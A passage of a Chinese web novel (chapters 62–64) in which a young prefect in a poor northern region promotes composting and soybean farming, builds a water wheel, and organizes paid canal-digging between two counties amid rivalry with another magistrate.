冷存真只是盯着赵丰年离开的方向不出声。 第62章 第62章水源 “冷假面就是那个样子,我们牧县就不一样了,赵典吏一提,我们县立马就安排下去了,年后雪刚化水,就一刻不停地劳作!” 赵丰年一个个肥池看过来,闻言就问,“拓县令可好好跟百姓们解释过了?” “当然是说过的。” 赵丰年点点头,随即走到了一户人家,笑着问他是否知道这堆肥的好处。 那人刚开始看着他们一大群人还有些害怕,得知了是府衙来看堆肥的,又一脸小心加茫然,“什、什么好处?” 赵丰年挑眉,看了眼拓九,继续微笑着问眼前的村民,“县衙门没有跟你们说为什么要堆肥吗?” “说了说了,堆肥嘛,府衙教我们盘火炕,知府大人喜欢这些,我们挖就是了。”旁边的村民插了个嘴,说完还邀功似地瞟了眼自家县令大人。 拓九看得有些莫名心虚。 “拓县令说的是知府大人喜欢这个,你们就照听了?” “那不然咋地?我们县令大人总不会害我们,再说了就挖个坑的事,也不算什么,就是后头放那些屎尿的时候有些埋汰,不知这位府衙来的大人,您能不能替我们问问知府大人,咱们只放其他的,不放屎尿成不?我们家人少,回回想拉了还得跑回家拉,好攒着扔坑里,有时候憋恨了,难免一不留神就拉——” “你可闭嘴吧!” 拓九涨红了一张脸,慌忙看了赵青青一眼,见她表情不变,这才又气得冲那人吼了一句,“这里都是府衙的大人,你说这些干什么!让你做就照做,废那老些话!” “拓大人,这可都是府城的大人叫我说的,再说,就是有这个困扰嘛” “你还说?!” 那人无奈闭了嘴。 “拓县令跟百姓倒是亲如一家。”赵丰年冷不丁冒出这句话。 “那是,拓大人都是我们看着长大的,可不是亲切嘛!” 还是那人,只是他刚说完,连忙又看向了拓九,“这个能说不?” 这时候赵青青“扑哧”一声笑了出来。 拓九绝望摆手。 赵丰年看够了热闹,才对拓九缓缓说来,“府衙为什么要大家做堆肥,早前已经告诉过各县城,具体的实施方法跟注意事项也都整理成文书下发到了各个县衙门,有时候,我们就要告诉百姓们为何要这样做,这样做的目的是什么,而不是仗着是官府直接下达命令,这样不仅百姓不理解,反而容易耽误了政令。” 赵丰年说完又转向了赵青青,“赵典吏,此前牧县一向是由你负责,如今出了这种事本官很是寒心,就罚你一月俸禄,此外,即日起,牧县的一切工作,都交由赵有德处理接头,你可有异议?” 赵青青垂眸行李,“此事确实是因下官疏忽所致,下官甘愿领罚。” 赵丰年点点头,“嗯,望你接下来好生反省自身。” 赵丰年话音刚落,拓九也终于从这场变故中回过神来,“赵大人,这事跟赵典吏无关啊!赵大人怎么能罚赵典呢?” 赵丰年笑着安抚他,“拓县令心善,不必替她求情,做错了事就要受罚,赵典也是认的。” 赵青青适时应了一声,拓九更气了,“这是我的错,要不赵大人罚我好了!又不是赵典下发的命令,是我命令每个村子起码要有一大半以上的人做堆肥,也是我不相信这个堆肥才没有跟他们解释!” “原来如此,拓县令竟是这样想的,对于你的怀疑,几个月后自见分晓,而你说的也不错,既然你主动要求首罚,那便罚你即刻派人向百姓们解释各种缘由。” “没问题,一人做事一人当,我做就是了,那赵典?” 赵青青依旧半阖眼皮。 “赵典有错,自然也是要受罚的,就改罚俸一月为半月吧。” “多谢大人。” 一行人快离开的时候,拓九特意绕到了赵青青这边。 “抱歉,赵大人,都是因为我自以为是,连累你也受了罚,你放心,你每月俸禄多少?被罚的那半个月俸禄由我出了!” 赵青青微讶,忽然就笑了,“拓县令有心了,不过无妨,左右我就住在府衙,也寻不到地方花销。” “赵、赵典如今住府衙嘛?那回头,回头我有不明白的地方,可以去府衙门找你吗?” “自然可以。” 拓九还没来急的高兴,只听她又说了一句,“不过接下来牧县的事情就不归我管了,拓大人有什么事也尽可以找赵有德典吏。” 赵青青离开后,王师爷走到了拓九身边。 “大人——” “闭嘴,我今天没说错词!” “大人,我只是想说,赵大人还有赵典吏他们都已经走远了。” “王文之,你有时候真不会说话。” 到底是谁不会说话啊? 巡视过几个县城后,赵丰年便准备着手大力抓春 耕了。 好消息是,一场雨顺利地落在了北地的大地上,春耕开始了。 “推行大豆?” 赵丰年在府衙的例会上提出了要全面在北地种植大豆的消息。 “北地土地辽阔,沙质、半沙质土地多,再适合大豆不过了,大豆能固氮肥,改良土质情况,在这里种大豆,有很大的潜力。” 前一段时间,赵丰年反复说过肥力,如今大家都知道这些话什么意思。 “北地刚回归大夏版图没几年,加上这里动荡穷困,大豆还没传到这里,种植者寥寥无几,倘若真能形成规模,那赵家村的丰收油,也可以是北地的丰收油了。”赵青青只是一想就点到了其中关键。 “大人是想建厂?” 赵丰年笑了,“要想让北地这潭死水活起来,就要让他便成大江大河,流淌出去。” 赵青青也笑了,“大人所言极是。” 见杨菱等人面露疑惑,赵青青便跟他们说了丰收油的事,其他人听得也是两眼放光。 “既是如此,百姓们定是要多种植大豆,只是北地习惯了种植麦稻,怕是百姓一时间无法接受新的粮种。” “不如由衙门出面,跟百姓签订契约,待收成后,百姓尽可按市价卖给官府,如此一来,百姓们没有了后顾之忧,衙门也可有足够的原料推行制油厂。” 提出跟百姓定契约的是王文,王家的后辈,留他下来,一时对王家的表示,二是王文却是勤勉能干。 在通过考验后,上个月王文正式入了府衙例会人员名单。 赵丰年没想到竟是王文最先提出的这种法子,果然王家不愧是能跟李家抗衡的商户。 “王文,你的提议非常不错,那这件事就交给你去办了,回头整理出一份材料出来。” 王文也很惊喜,他只是能参加了例会,却还没有一桩自己独自办的差事,如今赵丰年竟给了他这样的机会,当即只觉得受宠若惊,“是,大人!小的一定好好干!” 赵青青赵大胖看着王文也是一脸喜悦。 能又多一个人能替阿年分担,他们由衷的开心。 而赵翠翠看了王文一眼,打量他一番,在纸上写下了一行字。 很快,各县的百姓便得知了官府推行新粮种的事。 沙沙县下的村子里,众人也在议论着这件事。 “大头,你家种不种?” 沙大头,也就是沙沙县县令沙不多的侄子,闻言挠了挠头,“种吧。” “也是,县衙门都发话了,你又是县令的侄子,自然是要种的,不然不是叫县令他老人家难做嘛。” “其实,大家也可以试试,这新粮种知府大人让种的,知府大人应该不会害咱们。” 沙大头家是村子里乃至是沙沙县第一个盘火炕的,起初他以为那火炕就是个骗人玩意,是府城的那帮子人为了找理由收钱,面上强撑着笑,心里却发着苦,等后来,大家都说火坑摸起来是暖的,等三日后,他家的火坑一烧上,他才知道这是个什么样的好东西!当即就对府衙,对知府大人改观了,这个火炕是他们,也是其他沙沙县人度过寒冬的利器。 因此,后面说知府大人让大家做堆肥,开春后用在地里对庄稼好,他二话不说就带着媳妇挖地去了,虽然至今他都不知道自家那坑里的东西怎么就能对庄稼好了,又为什么要拌进地里,但是也不妨碍他一听说知府大人让他们种新粮种,立马就打算空出家里的两亩地来。 而沙大头,家里四口人,总共也就三亩地。 就在大家还在犹豫的时候,官府又贴出了告示,说种植大豆的人均可跟府衙签订契约,等五个月后,收获的大豆都可以卖给官府,官府照市价收,有多少收多少。 这下心动的百姓就更多了,也就是说他们只要种了,五个月后就能赚上一笔,而且据府衙说,这新粮就是前面十文钱一斤的粮里面掺的,饱腹感极强的一种粮食,除了叫人肚子胀气不太舒坦,没什么大毛病。 “都是粗粮,吃什么不是吃呢,这种的还能饱肚子,能填饱肚子的都是好粮!又不要钱,就是后面拿粮抵,第一年一抵五,算下来比麦种可便宜多了。再说,就是自家不吃也不愁卖不出去,。” 百姓们一想也是这么个理,只是毕竟还是头一年,一千又没有种过这叫做大豆的东西,怕自己种不好,也不敢要太多的粮种,大多是想着种一亩两亩的试试看。 自然,也有一点都不种的,官府也不会强求。 “各县的麦种豆种是都在种了,接下来就要看看老天爷赏不赏脸,下几场雨了。”王文汇报的时候叹了口气。 春雨贵如油不是没有道理的,只是北地本就少雨水,这样等老天下雨吃饭实在是充满了不确定性。 赵丰年沉思片刻,“我记得小河村是不缺缺水的。” “小河村的河是玉带子河的分支,却是是不缺水的,咱们北地有个说法,那玉带子河的尽头在天上,是仙人的水壶倒下来的,所以一年四季从不干涸,只是玉带子河只有一条分支经过小何村,其余的直接拐了一道弯去了其他地方。” 赵丰年之前找到了北地的县志,又曾在青州书院看过青州跟岚州的地形图,到了这里才知道,原来无论是青州还是岚州的河,源头都是这里的玉带子河,玉带子在北地边上拐了一道弯,主支流淌下去,去了青州,又到了岚州,只不过那边便不叫这个名字了。 不过,玉带子河在小河县外还有几条分支,赵丰年想了想,将那几条分支记在了脑海里。 北地人力不够,百姓光是种地吃饭已经很成问题了,空不出那么多人手来,当务之急是先保证春耕顺利进行。 赵丰年将自己关在书房,花了半日功夫,画出了一张图纸。 出门的时候撞上赵来贺,赵来贺将那画好好打量了一番,愣是没瞧出什么名堂来,“要是你外祖父舅舅在就好了,他们铁定连夜给你做出来。” 赵丰年也有点想柳大他们了。 不过好在之前盘火炕的时候,府衙就跟几个手艺不错的匠人建立了合作关系,这会儿赵丰年让大胖把图纸交给他们,让他们务必要在五日之内完成。 那头,匠人们接到图纸,虽不知道这是什么东西,只觉得像是车轴子,但是图纸非常详尽,加之知府大人要得急,他们也顾不上研究探讨,就开始日夜不休赶制,这才赶在三日内将东西做了出来。 看着地上各式各样的零件,又是木棍又是木斗,一众匠人都挺疑惑的。 “陆老大,这是个什么东西,怎么七零八碎的?” 领头的摇摇头,决定亲自送去府衙。 赵丰年听人说匠人们将东西做了出来,当即过去看了看,拿起零件挨个查看,一边看一边点头,几个木匠知道这是没问题了,便送了一口气,正打算告辞,却听知府大人请他们派几个人跟他一道去趟小河县。 领头的陆木匠听了连忙点头,他本就对做出的东西好奇不已,余下几人见状,也一起跟了上去。 府衙其他人没在意,毕竟瞧着这东西,少不得一会儿还要让人家老师傅解释怎么个用处呢。 殊不知,匠人们也一头雾水。 “知府大人!有失远迎,有失远迎啊!不知知府大人今日,带着这么多人来是有何要事?”何县丞一听说赵丰年来了连忙出来迎接。 “何县丞,我这里得了一样好东西,你们县哪个村是在落差比较大的河段附近的?” 何县丞想了想,“那便是流水县了,他们村河道虽窄,但是水流湍急。” “如此,还请何县丞带路,领我们前去。” 尽管不明所以,何县丞没有多问,交代了一番就带着他们去流水村了。 流水村的村长此时正在训话。 “说过多少回了,先来后到,抢什么抢?这河就在这里,还能跑不成?” “刘大——”何县丞远远地喊了人。 流水村村长见何县丞带着一帮人来,立马歇了动静。 “哎哟,何县丞,您怎么来了?” “这是知府大人,来你们村瞧瞧,知道大家都不容易,有什么难处的,只管现在讲讲。” 刘大连忙领着村民手忙脚乱地跪倒了一地。 赵丰年闻言看了眼 何县丞,叫了起,又笑道:“听闻,流水村村民勤奋质朴,如今正值春耕,怎么大家不在地里,都围在这里做什么呢?” 刘大偷摸摸瞧了眼何县丞,这才解释。 原来却是因为争水闹的。 “大家伙们都想要第一个浇灌完土地,家里劳动力少的,免不了多跑几回,争着抢着,一来二去的,便生了摩擦。” “原来如此,倒是巧了,本官今天带了一样东西,还要在你们这里实验一番,或许可以让大家轻松一些。” 说完,赵丰年便让几个匠人一起现场组装了。 流水村的村民听说知府大人来了,还带了好几车东西,以为是粮食呢,都纷纷赶过来看热闹,这来了一瞧,却见一个庞然大物伫立在河边。 “这木疙瘩是何物?河里怪物爬上岸来了!” 便有县来的跟惊恐的后来者解释。 “可不是什么怪物,就是木疙瘩,我亲眼看着知府大人让那些木匠做起来的,正是神了!” “那是有个啥用呢?春天了,也不缺柴火烧了,白瞎这功夫的。” 大家都明所以,就连组装的木匠也不清楚知府大人要这东西来做什么。 等全部完工,赵丰年看着面前的水车,满意地点点头,不过到底效果如何,还要下水试一试的。 在匠人们组装的时候,赵丰年就让刘村长找几个人来在河边搭好了底座,如今水车也好了,也可以将水车安置上去了。 “刘村长,麻烦找几个力气大的村民来,将此物安置加固在方才的底座上。” “啥?”刘村长丈二和尚摸不着脑袋,又看了眼何县丞,见他只盯着那个大疙瘩不说话,便又让方才的那几个人一起合力搬动眼前的大家伙。 李将军大胖也加入了其中。 待水车终于架在了河边,一动不动,众人还是不明白这是做什么,大胖瞧了眼赵丰年,赵丰年想了想,正想让大胖拉动一下,给水车一个起始的力量,却见水车自己就缓缓地动了起来。 “诶,动了!” “乖乖,自己就动啦?” 赵丰年笑了。 “陆师傅,将水槽安置好吧。” “诶,好!”陆师傅便是匠人领头了,此时此刻他也终于知道了眼前这个他们花了四五日功夫不眠不休做出来的东西是做什么的,陆师傅自己也讲不清楚,但是他知道,他要流芳百世了! 等水槽安置好,延伸到了距离河岸还有四五米的地方,再将挨着水车的那一头固定好位置。 “是水!有水出来了!” 有人大喊了一句。 只见那河里的大块头带上来了水,水再流到了岸边的水槽里,都不需要人动手,那水就直接流到了地上。 “这个水架子能自己取水!” 百姓们都震惊了,震惊之余便是狂喜,还有舍不得水白白流走的,连忙回家取了木桶接水。 府衙的众人看了也是震惊不已。 陆木匠则是直接感动得流下了眼泪。 “倘若想要更省事一点,可以在水槽这端用竹子连接,竹子都打通,便能一路通到田地里,用不上的时候便用塞子塞住,也能节约用水。” 陆木匠跟刘大听得两眼放光。 而何县丞,已经痴迷地看着那架水车走不动道了。 “好东西啊,真是好东西。” 第63章 第63章偷肥 “大人,不知可否告知我等此物叫什么?”陆木匠回过神来问了一句。 “叫水车。” “形状像是车轴车轮,又在水里转动,确实应该叫做水车,大人大才!” 赵丰年只笑了笑,“我也是从旁处学来的,当不得大才,陆师傅,倘若本官想要在整个小河县都架起这样的水车,不知可有难处?” 陆木匠作为匠人的头领,自然是有两把刷子,闻言并未一口答应下来,先是思索了片刻,这才道来。 “回大人的话,这就要看河水水势还有地形了,不过草民观察方才大人指点他们搭建水车基座,倘若在不同的河段建立不同的基座,能固定住,加之河水的冲击力足够的话,应该问题不大。” 这就是专业人才啊,赵丰年十分欣喜,喊来了还沉迷在水车中的何县丞,跟他讲了自己的想法。 何县丞听完当即双眼放光。 “大人只管放心,我们一定全力配合府衙的大人跟陆师傅!” “另有一事,小河县这条河储水量足,如今冬雪化过,马上就要到汛期了,而小河县土地宽阔平坦,难免有再次发生涝灾的危险,如今有了水车,无需百姓费力取水,一来能轻松些,二来,便是也有了余力挖沟渠。” 何县丞脸色变白,“大人要挖沟渠?” 赵青青看出了不对劲,“大人是为了便于灌溉,如此也是利于百姓,利于整个北地,却不知为何何大人是这般脸色?” 便是小河县县衙其他人一听说挖沟渠,都纷纷变了脸色。 何县丞苦笑,“大人,如今春耕时分,即便真要百姓服劳役,是否也等春耕后呢?” 原来竟是当作了服劳役,赵丰年苦笑不得又生了一丝苦涩。 百姓谈及劳役,犹如谈虎色变,可见劳役于百姓而言是多大的重负。 “何县丞放心,本官不会亏待了百姓的,赵典吏,你回去拟个章程出来,务必不能耽误了春耕。” 赵青青微笑,“是,大人。” 既然府衙还没章程,何县丞也就没有跟百姓提这事。 只不过三天后,当何县丞领命去府衙门参加例会,听到了针对他们小河县的计划,何县丞兴奋得就差直接带头挖沟渠了。 短短几日,整个北地都知道了小河县在知府大人的带领下,正在干一件大事。 “什么大事,不就是赵典吏亲自带了人去给他们装了那什么水车嘛?” 王师爷没忍住,“应该是知府大人亲自带的人。” 拓九白了他一眼,“我能不知道?” 白完王师爷后,拓九便忍不住酸了,“都是邻居,怎么小河县就那么走运?有河有水的,咱们就只分到了几条小溪流?因为这事,赵典吏都不大来我们县了。” “大人,赵典吏是因为咱们的缘故被知府大人罚了才不来的。” “那只是其中之一!赵典吏那般似水流年一般的女子,肯定是来自那种水很多的地方,比起牧县,自然更喜欢隔壁小河县了!” “这里,只用似水就行了。” “没有这个词?” “有是有,只不过似水流年的意思是说时光一去不复返,而且,大人,恕我直言,像赵典吏那般似水的女子,应当是欣赏那种读书人的。” 拓九烦躁得直接抓了一把头发。 “师爷,你教人的本事太差了!” 拓九这边碎碎念,小河县另一头的犁丘县县令莫东西就更加眼红了。 他一听说小河县得了好东西,直接就带着人过来了,到了小河县,望着水面上还在不停带水上来的水车,像是在看久别重逢的情人。 “好东西啊,真是好东西,怎么就不是我们县的呢?” 何县丞刚听他说好东西还笑着点头,等听到后面一句,当即起了防备。 “你又要做什么?我可告诉你,这东西不适合你们犁丘县,得要有像我们这样的河,还要水流得够快!” “我们县也是有几条小溪,还有池塘的!” 何县丞一脸嫌弃,“已经枯了好几年的水沟子就别拿出来说嘴了,我是说真的,我们县这情况不适合你们县,你别什么好东西都往自己怀里搂,知府大人本事大着呢,如今是规划到了我们像,对你们其他几个县,知府大人肯定也是有其他想法的,你着急什么!” “你们真打算服劳役挖沟渠?”莫东西话锋一转。 “可不是,这就是知府大人对我们县的规划。” “百姓们乐意?” 何县丞乐呵呵,“一家只用出一个人,包两 顿干饭,每天给十文钱的工钱。” 莫东西还是头一次听说服劳役给银子还给干饭吃的,“府衙给?” “当然了,你都不知道,这消息一出,百姓们都抢着干,左右家里留下一个劳力,干活累就累点了,多余的出去还能另挣一份钱,又能有饭吃,还是干饭,到时候沟渠挖好了,也是大家得了利,那可不高兴着呢!” 莫东西摸了一把胡须,“你们县耕地多,还是春耕比较重要,这样吧,回头我让我们县各村的人过来帮忙,你们村只管种地,该做什么去就做什么去,别耽误了功夫。” 何县丞当即黑了脸,“这个你也要抢!好你个莫东西,你干脆改名叫‘摸东西’算了!” 府衙这边,赵青青也在算着这笔帐。 “如此,除了劳累一些,百姓们都是乐意的,只是这回花费是少不了了。” 赵丰年来到北地的时候,这里的府衙账上干干净净,能撑到现在,都是赵丰年自己自掏腰包,饶是知道赵丰年的赚钱本事,赵青青偶尔看到那账册,越来越鲜红的赤字,每每都忍不住眼前一黑。 赵丰年如何不知道,“钱总能再赚回来,先打好基础。” “到底是这里的牛少,不然,用牛耕地翻地,又能省下一部分人力了。”大胖想起了赵家村,比起北地,以前的赵家村都算是富裕了,至少村里也有两三户人家家里是有牛的,更别提开了制油厂后,那更是十里八乡最富裕的村子。 “要是有了牛,百姓们就真能省好多力了。”王文也笑了。 赵丰年也笑,“总会有的。” 散会后,大胖拉着王文,“你说大人那是什么意思,难不成大人偷偷买了一批牛?” 王文为难,“有德哥,你说你问这话可不是难为我吗?你整日帮大人做事,近些日子帮大人寄信的不也都是你去的吗?你都不知道的事,我就更不知道了。” 大胖点点头,“你说的有道理。” 放过了王文,大胖又问赵青青,“你说他三天两头就要往京城寄信,跟小顾大人有这么多话聊嘛?” “不是还有傅家?” “哦对,还有傅家,不过傅老先生毕竟是他老师,两人交流学问的事,我可不懂。” 赵青青只笑了笑,“你就别操心京城的事了,总之,先组织牧县跟小河县的人挖沟渠才是最紧要的。” “牧县那边明天来府城开会我再跟拓大人详谈,不过你能不能跟翠翠说,别老是盯着我写字了,怪瘆得慌的。” 说完,大胖瞧了眼正收拾桌面的赵翠翠。 “她那是做会议记录呢,不光看你一个。” 离开的时候,赵翠翠瞅了他一眼,径直离开了。 “你看看,小丫头一点礼貌都没有,我可是你哥哥!” 赵青青全程只笑着。 第二天的会议上,拓九听他们说让牧县跟着一起准备挖沟渠,当即就跳了起来。 “把小河县的河挖到我们县吗?可以可以,完全没问题!这样,我们钱就不要了,给口饭吃,我们今天就动工!” 从他跃跃欲试的表情中就可以看得出来他是惦记小河县的水流多久了。 “我知道,牧县以前有一大片牧场,后面河流断流,牧草不丰,加上牲畜也被戎族要么带走要么就地屠杀,如今,我想让牧县继续养牲畜,成为北地最大的养殖基地。” 拓九却没那么乐观,“赵大人,虽然你说的让我们挖沟渠引水我很心动,但是没用的,戎族撤离的时候根本就没打算让我们好好将牲畜养起来,如今的牧县,说是有牧场,却没有牲畜,形成不了你口中的规模基地的,这边的气候就适合戎族那些牛羊马,可是你总不能买到人家的牛羊崽子,我们也没有钱去到外面买羊崽子牛崽子。” “此前总听赵典吏说起牧县的工作,我便以为拓九你也是热血鲜衣怒马的少年,怀揣着一股义无反顾的勇气,都说事在人为,不试试怎么知道不能呢,空有这样的一片牧场放着不用,你是在牧县长大的,我猜你心里也一定不甘心,既然这样,何不跟我们一起放手一搏?” “谁空着不用了,我自然是有一腔热血!算了算了,你要做就做,总归我先把水挖过来再说!” 赵丰年微笑。 王师爷无奈。 他那一点就着,被拿捏的死死的大人啊。 于是,牧县也跟着小河县风风火火挖起了沟渠。 与此同时,第一批豆苗麦苗也长成小苗了。 光是看着那一片绿色,就让人心旷神怡。 “今年的麦苗倒是出苗早,长得也比去年好的,看来今年年气不错。” 只是等又过了一个月,众人终于发现了不对劲。 怎么同一家的庄稼,挨着的两亩地,一亩地的麦子长得好,一亩地长得参差不齐的? 就在大家百思不得其解的时候,沙沙县沙大头心里脸上早就乐开了花。 “是堆肥!肯定是知府大人让咱们弄的堆肥!我家四亩地都上了堆肥,小麦比往年出苗早了好些天,而且那麦苗刚长出来我爹一看就说长得壮,跟以前都不一样。” “你家统共就四亩地,四亩地都上了堆肥?”邻居家不敢置信。 “那是,官府都说了,先上底肥,庄稼生得壮,我家就是最好的例子,后面我们还要追肥呢。” 沙大头村里人都知道他最相信府衙,既然说了这话,肯定是错不了。 这样一来,大家也都纷纷观察自家或别人家的地,这样不比不知道,一比还当真是上了堆肥的庄稼比没有上堆肥的长势好! 大家还有什么不明白的。 这堆肥是真的有用啊! 顿时,上的地多的人家就喜笑颜开了,同时又悔恨怎么就不听府衙的都用上,而那些完全放着没用的人家就哭天喊地,最后只能安慰自己庄稼还小,家里也是做了肥的,按着官府的说法,后面追肥跟上来了,还有希望! 但是,其他县的百姓还多少有些希望,五树县这里,就只是一片愁云惨雾了。 “老陶家跟黄家虽然是先前没用,但是好歹后面能补上,可是咱们这些人可都是连堆肥都没做的啊!” “上川村也有几家做了,只不过没按要求做,他们一听说人家堆肥有用,着急麻慌地就给自家地上了,结果死了一大片庄稼苗。” “明明知府大人都帮着咱们盘火炕过冬,又给咱们低价粮了,怎么我就吃了秤砣铁了心非要不相信他呢!” 后头的人哭天喊地,后悔不已,当天晚上,竟然出现了贼人去有肥的两家偷肥,吓的人家小儿子掉入了肥坑,大晚上的,险些闹出了人命来。 当即这件事就被闹到了五树县县衙。 冷存真冷着一张脸听堂下百姓哭诉,周围还围着一众看热闹的。 “他家不信知府大人,也不信官府才偷懒不做堆肥,我家是可不是这样的,结果如今大家都知道堆肥的好了,竟然来我家偷肥,不但偷东西,还将我儿子推入了肥坑,险些闷死,如今还在家里躺着呢,冷大人您可要为我们做主啊!” “你儿子分明是自己不小心掉进去的,我什么时候推他了?姓陶的,你可不要血口喷人!” “那也是你害得,要不是你偷我家屋后的肥,我儿子不会为了拦你掉进去!冷大人,你可要好好罚他,打他板子!” 周围看热闹的百姓也纷纷唾弃这偷肥的。 而那被告眼看着要挨板子了,也是什么都不顾了,“冷大人,当是也是您跟县衙们没叫我们堆肥的啊!那 赵胖典吏来我们这里盘火炕的时候也提了,说县衙会带着人教我们的,可是我们左等右等,没有等来任何人来告诉我们这个事,如今,其他县都能用上肥,就我们县没有,这难道是小人的错吗?!” 此言一出,围观的众人安静了片刻,不知谁说了一句。 “是啊,听说其他县都是县衙一个村一个村教的,怎么咱们县就没动静呢?” 这句话犹如热锅里的水,顿时炸开了锅。 “为什么只有我们没有做?是县衙没有人教我们啊。” “我们村听都没听过,可见是县衙都没告诉我们。” “这明明是好事,我们不知道,那赵胖大人当时可是说了府衙下发了文书给县衙,县衙也该知道是好东西,为什么不告诉我们?” “有人听牧县的说冷大人是府衙李家的走狗,难不成,冷大人是故意的?” “就是那个哄抬粮价的李家?我舅舅的姥爷的外甥家的良田就是被李家抢走的!” “可是冷大人平日里待我们不错,也去帮我们问了盘火炕的事。” “那又如何解释堆肥的事呢?” 眼看着事情发展就要超出了控制,一旁的主簿瞧见了,瞅着自家县太爷脸色越来越难看,连忙喊了退堂。 见人要走了,人群中忽然有人喊了一句—— “冷大人,你真的是帮着那李家做事吗?” 冷存真回头看了一眼,眼神冰冷。 第64章 第64章丰渠 五树县百姓闹事的消息很快传到了府衙里。 “那冷存真倒是个有本事的,当即就把话头都压下去了,不过,我们的人倒是没发现他往北定府这边传话。”李将军一得到消息立马告诉了赵丰年。 “他堵得了一时堵不了一世,百姓们还是淳朴。”赵丰年笑了笑,转向了另一边,“翠翠,给我几个人,要能说会道,又长相不突出的。” 赵翠翠抬头看了他一眼,“三个够不够?” “够了。” 李将军也琢磨出门道来,“你是想煽动人心?” “既然还缺一把火,我们就添一把柴,让五树县这缸水烧得滚起来。” 五树县这边,好不容易安抚好百姓的县衙还没睡几天安稳觉,就发现又出事了。 “落桑村跟上川村的,闹着说要堆肥,问衙门为什么还不派人过去教。” 张主簿大怒,“不是跟他们讲过了等衙门拿个章程出来就出面嘛?怎么这个时候闹?” 底下衙役苦笑,“不知道那里传来的谣言,都说咱们冷大人被李家收买了,就是为了不让大家种出太多的粮食,好跟李家一起买价高的粮。” “这不是睁着眼瞎说嘛?!” “可问题是外头说得有鼻子有眼的,别说是各村里的乡民了,就是县城里也有不少百姓跟着说。” 张主簿知道这事是压不下来了,只得赶紧找到了冷存真。 “百姓们愚昧才相信这种荒谬的话,只是大人,再不组织人手教百姓们堆肥,怕是真要出事了!回头府衙那边知道了,怕是知府大人得问罪大人啊。” “你以为赵丰年就不知道吗?” 而另一边,赵丰年却找到了拓九。 “你要我卖肥料给五树县?”拓九脸上写满了不理解。 “五树县不过几家做了堆肥,要么是从其他县的亲戚那边学的,要么就是听人三言两语提了一嘴自己琢磨着做的,能用的也就一两家,如今正是缺肥的时候。” “缺就缺呗,冷假面做的错事,干什么要我来给他擦屁股?我们县自己还要用呢!” 赵丰年瞥了他一眼,“牧县地少,堆肥率居整个北定府之首,你们能用四成便够了。” 拓九有点心虚,但是依旧坚持不愿意卖给五树县。 赵丰年却笑了,“罢了罢了,本来我想着你们牧县能耕作的土地少,粮食也比不上其他几县,便想着趁机让你们多一门生意,赚些银子回头好买牛羊崽子养,既然你不愿意,那我便问问其他县,我记得,还有哪个县堆的肥多些的?” 赵青青笑道,“回大人的话,沙沙县存量也尚可。” “嗯,也好,我记得沙沙县耕地虽多,却多沙质,收成也不好,这桩生意给他们也是极好的。” 拓九听到赵丰年说是为了让牧县百姓多赚点银子的时候就已经双眼放光了,听到这生意要给沙沙县,当即就跳了出来。 “大人大人,沙沙县哪里比得上我们牧县,人家地里本来就种不出什么东西来,就别为难人家了,还是我们牧县来做吧!” “这会儿不说是帮冷存真了?” 拓九摆摆手,“哪里的话,小爷我可是出了名的不记仇,再说了,都是一个地方的,拿大人的话来说,就是那什么,兄弟衙门!我能眼睁睁看着他们百姓吃不饱饭嘛!” 几人都笑了。 拓九也反应过来他们吓自己呢,不过毕竟他们县能从中得利,谁还在乎这些。 “总之,这事我牧县应下了,怎么卖,卖多少,大人你决定就成。” “既然如此,那此事就由府衙出面,回头赵典吏会帮你们跟五树县牵线搭桥,必不叫你们吃了亏。” 人家这么识大体,自然也要给他点甜头。 见他一听说赵青青出面,双眼越发精神,赵丰年心里忍不住好笑。 得知府衙让牧县卖肥料给他们,五树县的百姓惊喜不已,只是担心这回衙门又要不作为,竟然一天三次地去问进程。 五树县县衙里。 “大人,赵知府分明就是故意的,他先联合牧县放出话去,说牧县卖咱们肥料,却迟迟不定下来,才叫百姓们对咱们再三怀疑!明明这次我们也问了几回了!” 冷存真却笑了。 “大人?” “好好好,好一个怀江府神童,好一个少年状元郎!” 张主簿怀疑自家大人是不是都被气坏了。 好在,这次他们终于等到了府衙跟牧县开了口,也好对百姓有个交代了。 在县衙外等候的百姓们得知了消息,第一时间就将消息传开了。 “听说了吗?咱们县真的跟牧县做堆肥生意了!咱们马上就不缺肥用了!” “别又是骗我们的罢?” “张村的人亲眼看到府衙跟牧县的大人从咱们县衙走出来的,还能有假!” “上回也好几次了,怎么知道冷大人是不是答应了?万一又是……” “说是府衙几位大人出来的时候脸上都带了笑,跟前面几回不一样!” “哎呀,那是真成了!府衙的大人们心都好!” “就是不知道贵不贵了,要是太贵了……” “贵也得买!对庄稼好的东西,能眼睁睁看着不买?你们是没看见沙沙县,他们县地有多贫大家都是知道的,如今呢,人家的苗生生比咱们高一截!长得还壮!” 买是肯定要买的,就是要看价格如何,再决定买多少了。 五树县百姓都以为还要再等几天,没想到第二天各村的村长就通知了下去,需要买肥的都来登记,隔日就能送到。 便有人问了价格。 “眼下出肥不多,九文钱一斤,稀释后,十斤能管一亩地,你们依着家里的地买,要几斤直接来我这里登记,村里组织人手明天就能拉回来。” “早些下地早些安心,怕烧了苗的你就少放些!家里没有那么多地的跟邻居合买也一样!” “人家都种出来了没道理你用了肥也种不出来,人家好心分给咱们,别回头因为自己照顾不好庄稼用不好肥转头赖到了人家头上。” “这几日县衙也会有人来教大家堆肥,等过几个月,咱们自己有了就不需要花钱了。” 各村村长都在解释,到了五月底,五树县的肥也终于上好了。 五月刚过,赵丰年就收到了一个好消息。 小河县跟牧县第一条沟渠挖通了。 “明日开始试通水,拓县令说百姓们都希望大人能亲眼瞧一瞧。” 赵丰年当然不会拒绝。 当河水流过牧县的第一片牧场之时,百姓们欢呼雀跃。 王师爷拭了一把眼睛,“知府大人,这是第一条连接两个县的水渠,耗时两县百姓近两月的功夫,才挖通了这么短短一条,虽然如今它还不够长,也不够整个牧县的灌溉,但是对我们而言,意义非凡,这都是拜大人所赐,还请大人为此水渠赐名,好叫我们日后告诉后辈。” 拓九只觉得王师爷这番 话说得好听极了,头一回不觉得他啰嗦,忙不迭地点头附和。 “既然这是小河县跟牧县百姓共同的努力,便叫做和睦渠吧。” “河牧渠?怎么不是牧河渠?”拓九疑问。 “和睦相处的和睦,也代表着两县的关系和睦,如何?” 其他人都觉得好听,只拓九冒出来了一句,“太拗口了,既然是你的主意,还不如叫赵渠,赵丰年渠?赵大人渠?丰渠?丰年渠?” 拓九说着说着就被自己逗笑了。 “丰渠好听。” 不知谁说了一句,大家在心里琢磨了一遍,发现确实好听。 “不如就叫丰渠吧。”王师爷道。 拓九连忙接上,“那你记得在县志上写上一句,是我拓九想到的这个名字!” 赵丰年苦笑不得,“这渠是百姓们的功劳,如何能让我领,还是不妥。” 